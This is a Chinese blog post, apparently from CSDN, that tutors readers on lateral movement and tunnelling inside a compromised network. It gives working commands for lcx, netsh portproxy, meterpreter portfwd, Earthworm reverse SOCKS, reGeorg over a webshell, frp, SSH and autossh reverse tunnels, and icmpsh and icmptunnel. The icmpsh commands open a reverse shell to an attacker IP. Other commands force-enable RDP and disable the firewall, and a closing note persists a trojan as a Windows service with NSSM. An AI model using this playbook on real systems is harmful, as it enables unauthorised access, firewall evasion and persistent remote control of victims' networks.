内网渗透之常见隧道转发划水以至于溺水技术。

内网渗透之常见隧道转发划水以至于溺水技术

  • 越过山丘,才发现无人等候。

一、基本介绍

端口转发:
用于目标机器对某一端口的访问进行了限制,主要就是可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网 IP 上。
端口映射:
就是将一个内网无法访问的端口映射到公网上的某个端口,进而进行攻击,例如最喜欢的3389!
内网转发代理:
主要用于在目标机器上做跳板,进而可以对内网进行攻击!

二、工具介绍及使用

端口转发

  • 1、Lcx.exe

    lcx.exe是一个端口转发映射工具, Windows版是lcx.exe,Linux版为portmap,主要就三个参数监听映射转向.
    Windows情况下:
    在这里插入图片描述
    目标主机执行
    lcx.exe -slave 公网主机ip 8888 目标ip 3389
    公网主机监听,即可成功映射
    lcx.exe –listen 8888 5555
    在这里插入图片描述
    如果3389被防火墙限制,可以-tran映射到其他端口,进行访问
    lcx -tran 6666 目标ip 3389

    LINUX情况下:
    在这里插入图片描述
    目标主机执行
    ./portmap -m 3 -h1 目标ip -p1 22 -h2 公网ip -p2 8888
    公网主机监听,即可成功映射
    ./portmap -m 2 -p1 8888 -h2 公网ip -p2 12345
    在这里插入图片描述
    ps:如果目标机器没有开启3389?或者找不到远程桌面?在或者饿了?算了,先解决前两个问题吧!

	开启3389端口:
	通杀:
	wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
	2003:
	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
	2008:
	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
	多版本win08 win03 win7 win2012 winxp 执行3条:
	1.wmic /namespace:\root\cimv2	erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
    2.wmic /namespace:\root\cimv2	erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
  	3.reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
	开了远程桌面找不到?
	简单暴力办法看看服务器有木有电话qq之类的,直接联系管理员问问,好好的3389端口非得换,不知道我找不到吗?
	不闹了!容易挨打!
	1、cmd执行:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
    2、cmd执行:tasklist /svc查询TermService对应PID,然后在netstat -ano查询的PID对应的端口号
	3、查找注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds dpwd\Tds	cp 中PortNumber的值





  • 2、netsh

    netsh(Network Shell) 是一个windows系统本身自带的工具,可以用来做端口转发。因为他可以把本地端口的任意一个TCP连接都可以被重定向到另一个端口,或远程计算机的任意端口上。
    前提:
    2003、xp系统需要安装IPV6(netsh interface ipv6 install),其他版本直接可以使用。
    启动服务中的IPv6 Helper Service/IP Helper,如果不行可以关闭服务器或添加入栈规则(netsh firewall set opmode disable)
    基本语句

    添加
    netsh interface portproxy add v4tov4 listenaddress=本地 listenport=port connectaddress=ip connectport=port 
    删除
    netsh interface portproxy delete v4tov4 listenport=port
    查看
    netsh interface portproxy show all
    
    

    举个栗子,如果想进行端口转发,可以把来自外部的 tcp 的26端口流量全部转发到内网的机器的3389端口上:

    netsh advfirewall firewall add rule name="8888" dir=in action=allow protocol=TCP localport=26
    
    netsh interface portproxy add v4tov4 listenaddress=ip listenport=26 connectaddress=10.0.0.1 connectport=3389
    
    

    在这里插入图片描述

    3、msf端口转发

    msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。

    portfwd add -l 8888 -p 3389 -r 172.16.86.153 #-l为本地监听端口,-p 目标端口,-r 目标ip
    

    然后即可将转发目标主机的3389到本地的8888,直接连接即可rdesktop 127.1.1.0:8888
    portfwd list/delete/flush 列表/删除/清空

内网转发

内网转发也就是隧道技术它通常是将一个网络协议封装为另一个网络协议的payload。

  • 1、Earthworm

    Earthworm 是一套便携式的网络穿透工具,具有 SOCKS5代理、端口转发、端口映射等功能,优点比如穿透能力强,支持多平台等
    在这里插入图片描述

主要三个模块:
正向代理 ssocksd、
反向代理 rcsocks,rssocks
端口转发 lcx_listen,lcx_slave,lcx_tran
首先简单画拓扑,利用服务器当作跳板访问探测内网。
在这里插入图片描述比如想通过跳板机访问内网,也就是正向代理,就是常说的ss,
首先在服务器上监听本地端口./ew_for_linux64 -s ssocksd -l 1080
然后在kali攻击机上执行proxychains+命令即可(在/etc/proxychains.conf添加socks5 22.22.22.2 1080)
在windows下直接设置全局代理即可(ie、Proxifier等)即可访问目标内网服务

有正即有反,如果无法直接连接目标主机,但是目标主机可以主动连接攻击机,这时可以利用ew进行反向代理,只不过方向变了,首先在攻击机上监听1080,将1111带你看流量转到1080端口# ew_for_Win.exe -s rcsocks -l 1080 -e 1111,然后在目标机执行ew_for_Win.exe -s rssocks -d 88.88.88.8 -e 1111相当于将流量转发到攻击机1111端口,攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务

  • 2、reGeorg+proxifier/proxychains

regeorg主要是把内网服务器的端口通过http/https隧道转发到本机。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
在这里插入图片描述根据服务器上传相应文件,进行代理,直接访问显示“Georg says, ‘All seems fine’”,代表成功。
在这里插入图片描述
然后执行,python reGeorgSocksProxy.py -p 1080 -u http://127.0.0.1/test/tunnel.nosocket.php ,proxifier设置全局代理1080即可,proxychains设置件/etc/proxychains.conf 添加socks5 127.0.0.1 1080即可
在这里插入图片描述

  • 3、frq

    frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
    在这里插入图片描述
    首先配置对frpc.ini,然后和frpc.exe一起上传到目标机
    在这里插入图片描述
    运行frpc.exe -c frpc.ini,攻击机执行frps.exe,结合proxifier进行代理,输入账号密码即可
    结束后目标机删除frpc,taskkill /pid 进程号 -t -f

    4、SSH反向隧道

    简单的来说就是在目标内网机上做到公网服务器的反向代理;然后在公网服务器做正向的代理实现内网到公网的转发
    目标内网服务器:ssh -fCNR 192.168.119.129:8888:localhost:22 [email protected] #将本机的22号端口的流量都转发给公网服务器8888端口
    在这里插入图片描述然后公网服务器执行ssh -fCNL *:1111:localhost:8888 localhost #、将公网服务器的1111端口的流量都转发给服务器的8888端口
    在这里插入图片描述然后即可直接连接公网服务器1111端口,即使连接到目标内网服务器。ssh -p 1111 root@公网ip
    在这里插入图片描述这种方法不稳定,可以利用AutoSSH建立稳定SSH隧道
    首先目标内网服务器和公网服务器apt install autossh
    目标内网服务器生成ssh-keygen公钥私钥,并ssh-copy-id root@ip到公网服务器中,实现免密登陆
    在这里插入图片描述 最后执行 autossh -M 5000 -NR 8888:localhost:22 [email protected] -p 22) 同理上即可
    在这里插入图片描述 **

5、icmpC2通道及隧道传输

icmp相当于其他协议更具有隐蔽性,因为防火墙会默认放此协议,当你拿到一台服务器,防火墙禁止外出流量,可以将数据封装在ping中带出,穿过防火墙限制。

  • icmpC2通道
    icmpsh是应该利用icmp反弹shell1的工具,icmpsh的目标主机只能是Windows(不需要管理权限),控制端只能是Linux。
    控制端kali首先下载,并且需要关闭内核对ping的反应,进而执行即可。
git clone https://github.com/inquisb/icmpsh.git
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 攻击者ip 目标ip>

在这里插入图片描述
目标系统windows,执行-t

icmpsh.exe -t 攻击者ip

在这里插入图片描述 即可反弹shell
在这里插入图片描述

  • 隧道传输
    将TCP连接通过ICMP封装进行传送的一种方法。
    icmptunnel是一个将流量封装到 ICMP包中的隧道工具,可以绕过防火墙的隐蔽连接。
    攻击端首先安装icmptunnel,然后禁用icmp回应影响。
git clone https://github.com/jamesbarlow/icmptunnel.git 
make
sysctl -w net.ipv4.icmp_echo_ignore_all=1

然后监听tunnel,并且给隧道接口分配一个IP地址

./icmptunnel -s
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

在这里插入图片描述目标关闭反应,以及连接攻击ip,设置ip

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmptunnel 攻击ip 
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

在这里插入图片描述通过ICMP连接SSH(前提目标需开启ssh),通过ICMP包建立了点对点隧道。攻击者的隧道IP是10.0.0.1,目标ip的隧道IP是10.0.0.2。传输的每个流量都是ICMP包,ICMP的payload就是封装的HTTP/IP包,所以走的都是icmp。

维持后门

比如利用NSSM,封装某一木马软件exe封装为系统服务,然后服务器设置自动启动即可。
在这里插入图片描述删除利用nssm remove

余生很长,请多指教。
在这里插入图片描述

发布了41 篇原创文章 · 获赞 24 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/csacs/article/details/90723513